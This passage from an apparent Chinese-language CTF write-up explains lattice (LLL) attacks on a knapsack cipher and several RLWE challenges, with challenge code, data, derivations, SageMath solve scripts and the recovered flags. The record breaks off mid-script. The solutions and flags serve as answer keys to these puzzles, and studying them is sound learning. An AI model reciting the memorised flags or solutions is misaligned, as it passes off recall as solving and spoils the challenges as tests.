
19

20
# python
21
m = decrypt(q,h,f,g,e)
22
print(long_to_bytes(m))
23
# b'crypto{Gauss_lattice_attack!}'

展开收起

例2：超递增序列背包加密#

例题代码

1
import random
2
from collections import namedtuple
3
import gmpy2
4
from Crypto.Util.number import isPrime, bytes_to_long, inverse, long_to_bytes
5

6
FLAG = b'crypto{??????????????????????????}'
7
PrivateKey = namedtuple("PrivateKey", ['b', 'r', 'q'])
8

9
def gen_private_key(size):
10
    s = 10000
11
    b = []
12
    for _ in range(size):
13
        ai = random.randint(s + 1, 2 * s)
14
        assert ai > sum(b)
15
        b.append(ai)
16
        s += ai
17
    while True:
18
        q = random.randint(2 * s, 32 * s)
19
        if isPrime(q):
20
            break
21
    r = random.randint(s, q)
22
    assert q > sum(b)
23
    assert gmpy2.gcd(q,r) == 1
24
    return PrivateKey(b, r, q)
25

26

27
def gen_public_key(private_key: PrivateKey):
28
    a = []
29
    for x in private_key.b:
30
        a.append((private_key.r * x) % private_key.q)
31
    return a
32

33

34
def encrypt(msg, public_key):
35
    assert len(msg) * 8 <= len(public_key)
36
    ct = 0
37
    msg = bytes_to_long(msg)
38
    for bi in public_key:
39
        ct += (msg & 1) * bi
40
        msg >>= 1
41
    return ct
42

43

44
def decrypt(ct, private_key: PrivateKey):
45
    ct = inverse(private_key.r, private_key.q) * ct % private_key.q
46
    msg = 0
47
    for i in range(len(private_key.b) - 1, -1, -1):
48
        if ct >= private_key.b[i]:
49
           msg |= 1 << i
50
           ct -= private_key.b[i]
51
    return long_to_bytes(msg)
52

53

54
private_key = gen_private_key(len(FLAG) * 8)
55
public_key = gen_public_key(private_key)
56
encrypted = encrypt(FLAG, public_key)
57
decrypted = decrypt(encrypted, private_key)
58
assert decrypted == FLAG
59

60
print(f'Public key: {public_key}')
61
print(f'Encrypted Flag: {encrypted}')

展开收起

加解密原理：

密钥选取：

构造超递增序列，记为向量b\mathbf{b}b，

选取足够大的q,rq,rq,r满足q>r>∑biq>r > \sum{b_i}q>r>∑bi，且gcd⁡(r,q)=1\gcd(r,q) = 1gcd(r,q)=1

生成公钥a=rbmod q (ai=rbimod q)\mathbf{a} = r\mathbf{b} \mod{q} \space\space( a_i = r b_i \mod{q}) a=rbmodq (ai=rbimodq)

生成私钥w=r−1(modq)w = r^{-1} \pmod{q}w=r−1(modq)并保存超递增序列b\mathbf{b}b

加密：

将明文信息mmm转为二进制序列x0,x1,x2,⋯∈{0,1}x_0,x_1,x_2,\cdots \in \{0,1\}x0,x1,x2,⋯∈{0,1}，记为x∈{0,1}n\mathbf{x} \in \{0,1\}^nx∈{0,1}n

计算密文c=x⋅ac = \mathbf{x} \cdot \mathbf{a}c=x⋅a

解密：

计算S=wcS = wcS=wc

根据超递增序列b\mathbf{b}b容易分离SSS为x\mathbf{x}x

根据x\mathbf{x}x解码得到明文mmm

解密原理：

S=wc=wx⋅a=wx⋅rb=(wr)x⋅b=x⋅b\begin{align} S &= wc\\ &= w \mathbf{x} \cdot \mathbf{a}\\ &= w \mathbf{x} \cdot r\mathbf{b}\\ &= (wr)\mathbf{x} \cdot \mathbf{b}\\ &= \mathbf{x} \cdot \mathbf{b} \end{align}S=wc=wx⋅a=wx⋅rb=(wr)x⋅b=x⋅b

利用超递增序列特性：

∀i∈{1,⋯ ,n−1},bi>∑j=0i−1bj\forall i \in \{1,\cdots,n-1\}, b_i > \sum_{j=0}^{i-1}{b_j}∀i∈{1,⋯,n−1},bi>j=0∑i−1bj

可解x\mathbf{x}x

解题：

构造格

(20⋯0a002⋯0a1⋮⋮⋱⋮⋮00⋯2an−11111c)(n+1)×(n+1)\begin{pmatrix} 2 & 0 & \cdots & 0 & a_0\\ 0 & 2 & \cdots & 0 & a_1\\ \vdots & \vdots & \ddots & \vdots & \vdots \\ 0 & 0 & \cdots & 2 & a_{n-1}\\ 1 & 1 & 1 & 1 & c \end{pmatrix}_{(n+1) \times (n+1)}20⋮0102⋮01⋯⋯⋱⋯100⋮21a0a1⋮an−1c(n+1)×(n+1)

和线性方程

(x0x1⋯xn−1−1)(20⋯0a002⋯0a1⋮⋮⋱⋮⋮00⋯2an−11111c)=(2x0−12x1−1⋯2xn−1−10)\begin{pmatrix} x_0 & x_1 & \cdots & x_{n-1} & -1 \end{pmatrix} \begin{pmatrix} 2 & 0 & \cdots & 0 & a_0\\ 0 & 2 & \cdots & 0 & a_1\\ \vdots & \vdots & \ddots & \vdots & \vdots \\ 0 & 0 & \cdots & 2 & a_{n-1}\\ 1 & 1 & 1 & 1 & c \end{pmatrix} = \begin{pmatrix} 2x_0-1 & 2x_1-1 & \cdots & 2x_{n-1}-1 & 0 \end{pmatrix}(x0x1⋯xn−1−1)20⋮0102⋮01⋯⋯⋱⋯100⋮21a0a1⋮an−1c=(2x0−12x1−1⋯2xn−1−10)

由于xi∈{0,1}x_i \in \{0,1\}xi∈{0,1}，可得2xi−1∈{1,−1}2x_i-1 \in \{1,-1\}2xi−1∈{1,−1}

据此写脚本

1
# sage
2
pubkey = [] # 公钥，太长了，略
3
enc = # 密文，略
4
nbits = len(pubkey)
5
B = Matrix(ZZ, nbits+1, nbits+1)
6
for i in range(nbits):
7
    B[i,i] = 2
8
    B[i,nbits] = pubkey[i]
9
B[-1,:] = 1
10
B[nbits,nbits] = enc
11

12
L = B.LLL()
13
for r in L:
14
    # 提取符合要求的基向量
15
    tmp = True
16
    for c in r:
17
        if c != 1 and c != -1 and c != 0:
18
            tmp = False
19
            break
20
    if not tmp:
21
        continue
22
    # 对符合要求的基向量提取明文m
23
    x = r[:-1][::-1]
24
    for i in range(len(x)):
25
        x[i] = (1 - x[i]) // 2
26
    flag = int(''.join(str(xi) for xi in x),2)
27
    print("flag =",hex(flag))
28

29
# python
30
print(long_to_bytes(flag))
31
# b'crypto{my_kn4ps4ck_1s_l1ghtw31ght}'

展开收起

基于格规约的题目分类集合#

RLWE#

[DUTCTF2024] Rolling Lava Waves Erupt#

临时把难度降了很多，真是简简又单单

1
from sage.all import *
2
from Crypto.Util.number import *
3
from secret import flag
4

5
q = getPrime(128)
6
P = PolynomialRing(Zmod(q), "x")
7
x = P.gen()
8
n = 32
9
f = x ^ n - 1
10

11
A = [randint(0, q) for i in range(n)]
12
e = [randint(-4, 4) for i in range(n)]
13
s = [ord(flag[i]) for i in range(len(flag))]
14

15
b = (P(A)*P(s)+P(e)) % f
16
b = b.list()
17
print(q)
18
print(A)
19
print(b)
20
# 238355018964699036477605770797311983483
21
# [81001562575806812598625263947608310708, 67663462339970006425162255245771032763, 13911544992517862926597077554173799418, 70083213603267510104406237968793143649, 160226034997336725957012303722600378802, 121951496164295068583299034780718057668, 208553469728728739512150598724342228187, 35318485952332304879637196679455721903, 22714538463725341070448119190289931254, 221304588658454200047941540247361775692, 112424761781213208014673729457183124619, 105680264200650817922743959248252422121, 125768571260244939582961235871974909457, 118198480391943221698043835219635560580, 214244617297840106125668893796872511160, 87106492087067154929405336565856306825, 187960032306741642945407897033192609123, 22726202322486160294430042897142325001, 203059524299842209581084988100190187236, 63020272694124483141075936434312220013, 186251080168915230210124587293294049010, 225705797232526039582108888085944266263, 76063293691042549879364238315611375776, 179628429520550154827890958417971754012, 108001983863222322906569731782757800214, 112433035489677335685402291188381813415, 218180223301918295545394686267221494631, 93773278407573108656592128636536623504, 238307013397154178073159242004463683898, 23881336280146300789551126889875688166, 54502266866805036164460323085866372252, 232281191496537995646948234752281123702]
22
# [228504063908105525412614261760096017819, 81124758225342777727055611238200844123, 221529360989688925075641421715865881990, 94581704093284652391039972901005826832, 325817175563219265139583434925859179, 61376720464338690752332570540750181063, 233592338494785767656067338668809640189, 163645819666726030166959455529901356084, 60208350718676054890787888760334528877, 201473594096943739348339242697834651580, 99827655947377781053644353039989625749, 115360373222772120894866265852731745339, 101911732529939789371857156723584106115, 72176427231293186211180061967096323976, 107022031608633451044397596932022874462, 100348034173215891890474269791089616852, 230759723819962976308246252656275080901, 147884737442822434231136640694143526801, 185579318965300506065799519816578411014, 110435485452405047534359402172935094694, 237202083226712124503759766619056077329, 85740770839153572140547789090327159712, 157375521655279000903038598327271994130, 130547485304061498221759094030128798455, 142346712879183862037210635357954151681, 63500359629636675686860935166844636444, 10975347244291774911892310688210697385, 58375422867618050035821600511587742693, 15312124465922160852808737885222609790, 224142474208300065196736821112985241689, 133332140200420631166595755765867226530, 102171340332087544878437194137100487710]

展开收起

高中好友给发来他们的校赛题目，算是我自主解决的第一道格题目

题目玩了个藏头，暗(明)示RLWE问题

定义环

Zq[x]x32−1\frac{\mathbb{Z}_{q}[x]}{x^{32}-1}x32−1Zq[x]

把flags并生成随机多项式AAA和小噪声多项式eee，计算出

b=As+eb = As + eb=As+e

已知b,Ab,Ab,A求sss

最初拿到这个题目，先弄清楚了所谓”多项式环”的数学含义，用简单的语言表示，就是把高次多项式模了一下，类似通常数论那样的模

例如对于模q=7q = 7q=7：

x2−4x+4≡x2+3x+4x8−3x3+9x2−x−7≡x8+4x3+2x2+6xx^2 -4x + 4 \equiv x^2 + 3x + 4 \\ x^8 -3x^3 + 9x^2 - x - 7 \equiv x^8 + 4x^3 + 2x^2 + 6xx2−4x+4≡x2+3x+4x8−3x3+9x2−x−7≡x8+4x3+2x2+6x

又对于模x4−1x^4 - 1x4−1：

x5+2x4+3x3+4x2+5x+6≡(x5−x(x4−1))+(2x4−2(x4−1))+3x3+4x2+5x+6≡5x+2+3x3+4x2+5x+6≡3x3+4x2+10x+8\begin{align} &\space x^5 + 2x^4 +3x^3 + 4x^2 + 5x + 6\\ &\equiv (x^5 - x(x^4 -1)) + (2x^4 - 2(x^4-1)) +3x^3 + 4x^2 + 5x + 6\\ &\equiv 5x + 2 +3x^3 + 4x^2 + 5x + 6\\ &\equiv 3x^3 + 4x^2 + 10x + 8 \end{align} x5+2x4+3x3+4x2+5x+6≡(x5−x(x4−1))+(2x4−2(x4−1))+3x3+4x2+5x+6≡5x+2+3x3+4x2+5x+6≡3x3+4x2+10x+8

上述两种计算规则合在一起，就是多项式环Z7[x]x4−1\frac{\mathbb{Z}_{7}[x]}{x^{4}-1}x4−1Z7[x]的计算方式（应该没错吧

再看题目脚本是如何利用数组生成多项式的，通过sage实践发现，定义环P后，P(arr)可以将数组转为多项式，其中arr[i]映射到多项式P(arr)的xix^ixi项系数；

.list()可将多项式的系数转为数组，和P()互为逆运算，即我们可以得到P(arr).list() == arr # arr空位由0补全。一个小细节：.list()会把系数为000的也都扔进数组。

解决语法问题，可以来看纯数学问题：

AsAsAs是两个多项式相乘：A[0](对应x0x^0x0项)在模qqq下乘以s[0](对应x0x^0x0项)的积对应x0x^0x0项，A[31](对应x31x^{31}x31项)在模qqq下乘以s[31](对应x31x^{31}x31项)的积对应x62x^{62}x62项，类比卷积乘法可以列出下面的竖式：

A0s0A1s0A2s0⋯⋯A30s0A31s0A0s1A1s1A2s1⋯⋯A30s1A31s1⋱⋱⋱⋱⋱⋱⋱A0s30A1s30A2s30⋯⋯A30s30A31s30A0s31A1s31A2s31⋯⋯A30s31A31s31\begin{matrix} A_{0} s_{0} & A_{1} s_{0} & A_{2} s_{0} & \cdots & \cdots & A_{30} s_{0} & A_{31} s_{0}\\ & A_{0} s_{1} & A_{1} s_{1} & A_{2} s_{1} & \cdots & \cdots & A_{30} s_{1} & A_{31} s_{1}\\ & & \ddots & \ddots & \ddots & \ddots & \ddots & \ddots & \ddots \\ &&&&& A_{0} s_{30} & A_{1} s_{30} & A_{2} s_{30} & \cdots & \cdots & A_{30} s_{30} & A_{31} s_{30}\\ &&&&&& A_{0} s_{31} & A_{1} s_{31} & A_{2} s_{31} & \cdots & \cdots & A_{30} s_{31} & A_{31} s_{31}\\ \end{matrix}A0s0A1s0A0s1A2s0A1s1⋱⋯A2s1⋱⋯⋯⋱A30s0⋯⋱A0s30A31s0A30s1⋱A1s30A0s31A31s1⋱A2s30A1s31⋱⋯A2s31⋯⋯A30s30⋯A31s30A30s31A31s31

将此竖式纵向相加后，可以得到每一项的系数表达式，xkx_kxk项对应的系数是 ∑i+j=kAisj\sum_{i+j = k}A_i s_j∑i+j=kAisj

由于模x32−1x^{32}-1x32−1的存在，对次数过高的项进行处理，在视觉上就是把右面的竖式三角平移到左侧：

A0s0A1s0⋯A30s0A31s0A31s1A0s1⋯A29s1A30s1⋮⋮⋱⋮⋮A2s30A3s30⋯A0s30A1s30A1s31A2s31⋯A31s31A0s31\begin{matrix} A_{0} s_{0} & A_{1} s_{0} & \cdots & A_{30} s_{0} & A_{31} s_{0}\\ A_{31} s_{1} & A_{0} s_{1}& \cdots & A_{29} s_{1} & A_{30} s_{1} \\ \vdots & \vdots & \ddots & \vdots & \vdots \\ A_{2} s_{30} & A_{3} s_{30} & \cdots & A_{0} s_{30} & A_{1} s_{30}\\ A_{1} s_{31} & A_{2} s_{31} & \cdots & A_{31} s_{31} & A_{0} s_{31}\\ \end{matrix}A0s0A31s1⋮A2s30A1s31A1s0A0s1⋮A3s30A2s31⋯⋯⋱⋯⋯A30s0A29s1⋮A0s30A31s31A31s0A30s1⋮A1s30A0s31

抽象成矩阵：

[s0s1⋯s30s31][A0A1⋯A30A31A31A0⋯A29A30⋮⋮⋱⋮⋮A2A3⋯A0A1A1A2⋯A31A0]\begin{bmatrix} s_0 & s_1 & \cdots & s_{30} & s_{31} \end{bmatrix} \begin{bmatrix} A_{0} & A_{1} & \cdots & A_{30} & A_{31}\\ A_{31}& A_{0} & \cdots & A_{29} & A_{30}\\ \vdots & \vdots & \ddots & \vdots & \vdots \\ A_{2} & A_{3}& \cdots & A_{0} & A_{1} \\ A_{1} & A_{2}& \cdots & A_{31} & A_{0} \end{bmatrix}[s0s1⋯s30s31]A0A31⋮A2A1A1A0⋮A3A2⋯⋯⋱⋯⋯A30A29⋮A0A31A31A30⋮A1A0

也就是可以得到这样的线性方程：

[s0s1⋯s30s31][A0A1⋯A30A31A31A0⋯A29A30⋮⋮⋱⋮⋮A2A3⋯A0A1A1A2⋯A31A0]+[e0e1⋯e30e31]≡[b0b1⋯b30b31](modq)\begin{bmatrix} s_0 & s_1 & \cdots & s_{30} & s_{31} \end{bmatrix} \begin{bmatrix} A_{0} & A_{1} & \cdots & A_{30} & A_{31}\\ A_{31}& A_{0} & \cdots & A_{29} & A_{30}\\ \vdots & \vdots & \ddots & \vdots & \vdots \\ A_{2} & A_{3}& \cdots & A_{0} & A_{1} \\ A_{1} & A_{2}& \cdots & A_{31} & A_{0} \end{bmatrix} + \begin{bmatrix} e_0 & e_1 & \cdots & e_{30} & e_{31} \end{bmatrix} \equiv \begin{bmatrix} b_0 & b_1 & \cdots & b_{30} & b_{31} \end{bmatrix} \pmod{q}[s0s1⋯s30s31]A0A31⋮A2A1A1A0⋮A3A2⋯⋯⋱⋯⋯A30A29⋮A0A31A31A30⋮A1A0+[e0e1⋯e30e31]≡[b0b1⋯b30b31](modq)sM+e=b+qk\mathbf{s} \mathbf{M} + \mathbf{e} = \mathbf{b} + q\mathbf{k}sM+e=b+qk

各个参数取值如下：

s=[s0,s1,s2,⋯ ,s31]∈{0,1,⋯ ,127}32e=[e0,e1,e2,⋯ ,e31]∈{−4,−3,⋯ ,4}32b=[b0,b1,b2,⋯ ,b31]k=[k0,k1,k2,⋯ ,k31]∈Z32\mathbf{s} = [s_0,s_1,s_2,\cdots,s_{31}] \in \{0,1,\cdots,127\}^{32}\\ \mathbf{e} = [e_0,e_1,e_2,\cdots,e_{31}] \in \{-4,-3,\cdots,4\}^{32}\\ \mathbf{b} = [b_0,b_1,b_2,\cdots,b_{31}]\\ \mathbf{k} = [k_0,k_1,k_2,\cdots,k_{31}] \in \mathbb{Z}^{32} \\s=[s0,s1,s2,⋯,s31]∈{0,1,⋯,127}32e=[e0,e1,e2,⋯,e31]∈{−4,−3,⋯,4}32b=[b0,b1,b2,⋯,b31]k=[k0,k1,k2,⋯,k31]∈Z32

最初的想法是根据上述线性方程构造一个格出来，

下面是最初很天真的想法，毕竟刚学格，不要笑话我QAQ

sM+e=b+qke=(b+qk)M−1M−sMe=((b+qk)M−1−s)Mdet⁡M≫4n>∣∣e∣∣\mathbf{s} \mathbf{M}+ \mathbf{e} = \mathbf{b} +q\mathbf{k}\\ \mathbf{e} = (\mathbf{b} + q\mathbf{k})\mathbf{M}^{-1}\mathbf{M} - \mathbf{s}\mathbf{M}\\ \mathbf{e} = ((\mathbf{b} + q\mathbf{k})\mathbf{M}^{-1} - \mathbf{s})\mathbf{M}\\ \det{\mathbf{M}} \gg \sqrt{4^{n}} > ||\mathbf{e}||\\sM+e=b+qke=(b+qk)M−1M−sMe=((b+qk)M−1−s)MdetM≫4n>∣∣e∣∣

据此构造格：

1
M = matrix(n)
2
for i in range(n):
3
    for j in range(n):
4
        B[i,j] = A[(j-i)%n]
5
L = B.LLL()
6
print(L[0])

然后发现根本规约不出来，究其原因，推测是该格规律性过强，不满足使用LLL时“格足够随机”的条件（参见本页面”高斯启发式”部分）

经过资料查找，构造出这样的格：

N=[MqIIbβ](2n+1)×(2n+1)\mathbf{N} = \begin{bmatrix} \mathbf{M} & & \\ q\mathbf{I} & \mathbf{I} & \\ \mathbf{b} & & \beta \end{bmatrix}_{(2n+1) \times (2n+1)}N=MqIbIβ(2n+1)×(2n+1)

对应的方程：

[−s,k,1][MqIIbβ]=[e,k,β]\begin{bmatrix} -\mathbf{s}, \mathbf{k}, 1 \end{bmatrix} \begin{bmatrix} \mathbf{M} & & \\ q\mathbf{I} & \mathbf{I} & \\ \mathbf{b} & & \beta \end{bmatrix} = \begin{bmatrix} \mathbf{e},\mathbf{k},\beta \end{bmatrix}[−s,k,1]MqIbIβ=[e,k,β]

据此写脚本如下：

1
# sage
2
n = 32
3
q = 238355018964699036477605770797311983483
4
A =
5
b =
6
beta = 2 # 仅仅是一个参数，不太影响做题
7

8
N = matrix(2*n +1)
9
for i in range(n):
10
    N[i+n,i] = q
11
    N[-1,i] = b[i]
12
    N[i+n,i+n] = 1
13
    N[-1,-1] = beta
14
    for j in range(n):
15
        N[i,j] = A[(j-i)%n]
16
L = N.LLL()
17

18
res = L[0] * N^(-1)
19
for i in res[0:n]:
20
    print(chr(abs(i)),end = '')
21
print()
22
# DUTCTF{G0od_J06_iN_RLW3_l4tt1c3}

展开收起

反思

毕竟算是入门的一道题，而且有一次试错的经历，简单记录一下

我先前的构造格的方法过于东拼西凑，本身就是一个NP困难问题，而我在看似巧妙的东拼西凑中无形丢失了很多信息，最后反映出来的是格过于随机，无法规约出预期答案，构造的格应当尽量包含已知信息，然后再交给LLL碰碰运气，从NP的狭缝中找到P的路线

[NSSRound#18 Basic]New Year Ring1 #

新年用个新环！

1
from Crypto.Util.number import *
2
from random import *
3
from secret import flag
4

5
p = getPrime(128)
6
n = 64
7
assert len(flag) < n
8

9
PRp.<x> = PolynomialRing(Zmod(p))
10
f = x^n+2024
11
PR = PRp.quo(f)
12
assert f.is_irreducible()
13

14
A = [randint(0, p) for i in range(n)]
15
E = [randint(-4, 4) for i in range(n)]
16
S = [ord(flag[i]) for i in range(len(flag))]
17

18
B = PR(A)*PR(S)+PR(E)
19
print(A)
20
print(B.list())
21
print(p)
22

23
#[203211966212120647994404162543901058385, 113998159211311856163959557092243561040, 300945935078651395200612763362025786190, 289539358962072307485802285781112184506, 266860644401078099268835882620812059236, 109469988130078797414202659254940150397, 142193430695353860553837582452159920561, 163603443131512016589524436620766900399, 125570052004030843134707673404921516235, 289517595415670285587801685152176297797, 260336477592153246815046507549532230446, 89128330175853905837766718032373473126, 187717315035064338496744033397006646838, 47398231438108384695170959715078016751, 320133498675264306580441374518511607677, 289224545427213583554005441616103706530, 48124450498844786580485017131751952117, 139700877104641187048620578708689412417, 71574579434689200165233820726593943746, 138252394765364749010226318178055019086, 261521192680609185598298661488532314373, 226827408720691280529315243806063440819, 312302166514031202715929873278517388968, 41543713499646037109947736777306720313, 265649922622063773566846630839697709881, 243184423040946982395304999253912592156, 206198258022435934039803402480943364253, 26031203447491686152181680360833340987, 267200487804167757054737887061948559784, 301825292179107181769802726785989059100, 245678367957552191949253880949910260990, 171086126608355874606827637031412493750, 238890683861901290139689496391030872360, 22845910272546674819720769022817968767, 28421978727921425902205492605476665131, 171865962533483544755013698922220144571, 133361830829435140268114465077140337526, 86265129464226210912927536339928098681, 68669331909862762270788724935161403154, 201866646039120111937128925580825280486, 13363589230429215865126757180274178298, 17909430443917365585897023486940736171, 91757667623716596753047172893731203404, 46825614193892927425213536328954419018, 131552079476235333764480742173849445520, 235812708672214623030453261917981487844, 128419026868422646823814506658958018620, 165071194644940049087362229894395125949, 119007848732714973887391773573107966930, 142175857554093924103634649494868118501, 324116975329566500720942384202511507819, 145202961579339260969095793970625895397, 302068925092915352636494174062039213344, 204865812301701145536309778960425467197, 73204183646529021271666811846606597696, 305266620775559116657495389805588046145, 38573243820497560644612322159835262762, 204132117511623685134894865125985283485, 152661573492853637425833316355962196973, 234147606390346795925961511757446390699, 101214795511329059676976012743816028858, 45259554101612024332508390665659000501, 69808091348685800959727855379331581323, 96236770545429224235813571394198156104]
24
#[122276244512812151700561410687880152355, 288902265068638112029210922418017307765, 227157280930411828282688954386270375417, 51392889392439935890454046852827718770, 107818090106926819686128970258855341987, 39797693303511873260100821082668360148, 165165311283389310714977999739406590465, 145742713856100761940986808065029032102, 85681122792038178595571398323505588215, 161750232371529874705027252096297284499, 65492947650590100527727115268504178500, 158980937836523416847183159463389719119, 217622237154991741032187619647917235486, 214403448117831129512734472087177528755, 7203970244866082501778704003244517036, 209327947737263058848347484690330837593, 261471938052725575109694161428073566879, 290548445194039386389333379248698464710, 786777047021934678707520080022646500, 181116047323074255804762916647191259040, 321394759425138484862188864303222149962, 172828377940330639355360387538637264455, 66514389687485973164456706712404934406, 123351805496712587796702291879739918777, 52527849016391552904401277415521541344, 269082045250550515743652451127140175208, 46611178931314336386280465499464556662, 306738233577541073584072095728624359658, 27700046031756446145225137030746217892, 90225963569273234686624144350335934112, 67692467833088163585206113599832005433, 323500338166210082579512376483956531150, 268393735497552347113220159171930201434, 303137349721700995847836323480358301717, 37409490969034515063902941681541879806, 89987553043378360059649171549894177100, 177195833588614025644477178454034861283, 186453862621405866128018280976135392700, 134539827243365382868881776050914249090, 174423939567752183215031097600196039560, 141295420547653230540490506885038874517, 71077155156144579112947495766255667953, 219294250229364145810766028169964010349, 32511078113518753980651829431342417337, 303329577727497287329206502612155346064, 90557253357868638265309134765551619996, 274174517174776162629592599514881337711, 49932861529770838835799830915660452043, 12677314962488846037929508134986771433, 234965385179859810854399287906068885976, 11962701379314564572722140202812617562, 315105728460289255044517314167781474357, 92397698128764550243762952707724608359, 79161472796010129344236399474925315198, 8230717415162461432383488082982662910, 187550346095617606538292501947907284159, 111838535125019998906719357578490542024, 127632981408215865540832181515313916183, 77787230784265032836219137545199240126, 209675082880646980235572000733260128373, 318088800052782828672155510824979199450, 197936332876846440605381880211398578620, 163607618093826671398256369217224613243, 325974106851521509536970685901401508674]
25
#330464659390823375471800230370495966901

展开收起

学长给发的题(接下来两道都是)，很有趣

本题RLWE问题，换了一个新的环：

Zp[x]x64+2024\frac{\mathbb{Z}_{p}[x]}{x^{64}+2024}x64+2024Zp[x]

把flags并生成随机多项式AAA和小噪声多项式eee （sss和eee是小的我就要小写!），计算出：

B=As+eB = As + e\\B=As+e

和上一题一样，列竖式，化矩阵，构造格，不同的是矩阵部分三角要乘以(−2024)(-2024)(−2024)

理好逻辑后直接可以写脚本：

1
# sage
2
n = 64
3
p =
4
A =
5
B =
6
beta = 2
7

8
N = matrix(2*n +1)
9
for i in range(n):
10
    N[i+n,i] = p
11
    N[-1,i] = B[i]
12
    N[i+n,i+n] = 1
13
    N[-1,-1] = beta
14
    for j in range(n):
15
        N[i,j] = A[(j-i)%n]
16
        if i > j:
17
            N[i,j] = N[i,j] * (-2024) % p
18
            # 我这里模了p，可以不模，不影响，因为该矩阵块下面就是pI矩阵块
19
L = N.LLL()
20

21
res = L[0] * N^(-1)
22
for i in res[0:n]:
23
    print(chr(abs(i)),end = '')
24
print()
25
# NSSCTF{U_c4n_5olv3_th1s_pr0b!em_0nce_u_kn0W_M4trix_0f_Polymu1}

展开收起

[NSSRound#18 Basic]New Year Ring2 #

新年用个新新环！

1
from Crypto.Util.number import *
2
from random import *
3
from secret import flag
4

5
p = getPrime(128)
6
n = 64
7
assert len(flag) < n
8

9
PRp.<x> = PolynomialRing(Zmod(p))
10
f = x^n+2*x^3+0*x^2+2*x+4  #welcome to 2024!
11
PR = PRp.quo(f)
12
assert f.is_irreducible()
13

14
A = [randint(0, p) for i in range(n)]
15
E = [randint(-4, 4) for i in range(n)]
16
S = [ord(flag[i]) for i in range(len(flag))]
17

18
B = PR(A)*PR(S)+PR(E)
19
print(A)
20
print(B.list())
21
print(p)
22

23
#[25628433222756085994492259068849402115, 108192689210265022288173745176216677895, 85974352459523213168503152436203993854, 41828313114844948099739205193013146660, 15961445864161535368425735570577871568, 59860624089211511801244965491114405123, 72238114736535717286419734164194491146, 1731419769773538054984020741260144321, 110926179088722293171658261432626666958, 4729059639835826882559436203284470206, 168495809056757598731123948067040373565, 3338360642630078653320363127167526308, 19389936220034072874232261675901806153, 10438117635879553768611012406691341169, 153667038046207304584441437937384897775, 72166665774655568880543097047667804863, 95319528381704092095798376951073542165, 62898039808274250589921375492358418705, 38256076367009076141369526506747299307, 116682168147974451260364221046574659055, 26917522774848180141649752130328445540, 155767907175579627310170473659502971153, 77475859845928815191730640478115081925, 70014064310214050035280946814599808820, 85993451838284022745989979544017241858, 1559588202521630621698182776746048258, 52424771201426327411234245307354332594, 92380990205273211168316314938871853614, 55868954214861940284812204603983552046, 86766496415006406161245997036503548760, 65631024912623216715877274133399692328, 165552413066518454864366169079315182837, 27090806019996818214310558040178209015, 24884235560487406082425405304334927881, 167131388381252997695719535111304864318, 84309157064049564271714180786273613498, 53226032826639984552629376026393806036, 10043888404273006035387494091731007691, 12579929759225042382751229048796566699, 166363316914893642035801926729741157934, 37839073681950914796852925854557791313, 59823734019834883911363191453005985507, 72713054697995652053446065501322532087, 7355549923971285393506940087861413681, 21734747677920938504945342916533076569, 93933129166049277428941778125233010374, 58955842096425290408052247755008181893, 35959399375270454336325579486716264076, 134512300913738209016228764504703580317, 156877088942396466398635185398252103142, 104513294126348280186621088034948750337, 58139022317938952038809444482141783106, 98565612260156356115401166878515345986, 114416081175175578305854221578018095237, 22901750234260702478992290068664968479, 156611313609023033314989985233189973832, 125083132555321363078288077242345281728, 41404163164349704408020008746598776378, 148785934103979787297708145558354509586, 60576000474984112015781658795707443603, 157378782433123699827402744836263199181, 115808625117495689666174307128964343007, 55532885470248050887252206269085843644, 167226824329071601899518640284153209079]
24
#[125436276837023032466255967451858640606, 144448119937248956307846718982491347769, 162306129951573761575068204811168998078, 83181011846487027653033036479190112408, 40957533970438134530667298492545012058, 39781894692503876914564462045404705807, 164051006333092368306831348749408921012, 111012742481005666423330275146981180733, 7715720858029882578293974044643808669, 157677217515339873901600902409190036650, 47743593975916243882559558507891093023, 157986164305142738632123943371346719550, 127635891927296917312348404019956617317, 29559276398124624593609203169860820474, 65960871111768788316941346555260753893, 168042316135611110131429808009369471733, 1212659292467585393525194729053590464, 131142075720852427381782478157244639696, 102842995705164719704337121568124710266, 34358829636338044181518280022135929086, 46061675284276849395800943167734760351, 135977825342856793359560567810384022667, 79194609568617048147045548433187673199, 3676419995870098657902754244090307337, 129102404404523795672123957629514020212, 132931883751740337774987369503377603250, 157631873978881249131112881234813720862, 25064634967243118171242164160769943822, 90201135758213533081777343764941590513, 28708219563163506588485189820706388938, 56568253458138625936076514562071708932, 6347413009696777418004642228340087455, 142708918733729617152197380466325161544, 90675635242552386205397936839615479057, 92501808867676816791538575898905495372, 119574898086174634261072854178847743198, 109965735435324316785759245560872940757, 88027969746581556885954470651939385855, 134321591115155640446804238393795645472, 138737181251155600814378949277591209336, 99644145229459444132485749993357552167, 72102411291892187794699247448258325603, 83762370748394317206974170435605895442, 50088402451174667055894866569295371337, 151985189458457003469569692195947019009, 94074842589490698882361618773816024181, 73064286019059695311967281427732071049, 15926695040044471692620032927734856548, 92040182094543438421700664648795356800, 72067816134410856572981520568082148623, 51543145349488111975169803932104264498, 133476358234399233123899184886685568681, 138871089323661273034769987507240180967, 135182088478518211398715618356312799892, 142132493504501637417871042380487888261, 152821195684002682180600788766787854997, 108605984719600234041614912160255546443, 107009285527858918462712915168386920973, 142315287684855833566016316758770217595, 120564701831156855156008640956601967150, 76342952544707200039421682949094541165, 1616883292120605398623492917180224681, 114803483209077151333130433872010751344, 59602734024539592667147877839382863851]
25
#p = 171384865635734387982308861436753436427

展开收起

本题RLWE问题，换了一个新新的环：

Zp[x]x64+2x3+0x2+2x+4\frac{\mathbb{Z}_{p}[x]}{x^{64} + 2x^3 + 0x^2 + 2x + 4}x64+2x3+0x2+2x+4Zp[x]

如果弄明白了RLWE的原理，做这个题只要构造出来那个很有规律的矩阵M\mathbf{M}M即可

不过像我这么懒的CTFer肯定不会自己去推

于是我先去做了下一道题的通解脚本，具体推导也在下一题，这里直接放解题脚本：

1
#sage
2
# 原题给出的数据
3
n = 64
4
p =
5
A =
6
B =
7
beta = 2
8

9
# 原题的环
10
PRp.<x> = PolynomialRing(Zmod(p))
11
f = x^n+2*x^3+0*x^2+2*x+4  #welcome to 2024!
12
PR = PRp.quo(f)
13
assert f.is_irreducible()
14

15
# 构造方程矩阵
16
M = []
17
for i in range(n):
18
    M.append((PR(A) * x**i).list())
19
M = matrix(M)
20
# 构造格
21
N = matrix(2*n+1)
22
N[-1,-1] = beta
23
for i in range(n):
24
    N[i,i+n] = 1
25
    N[i+n,i] = p
26
    N[-1,i] = B[i]
27
    for j in range(n):
28
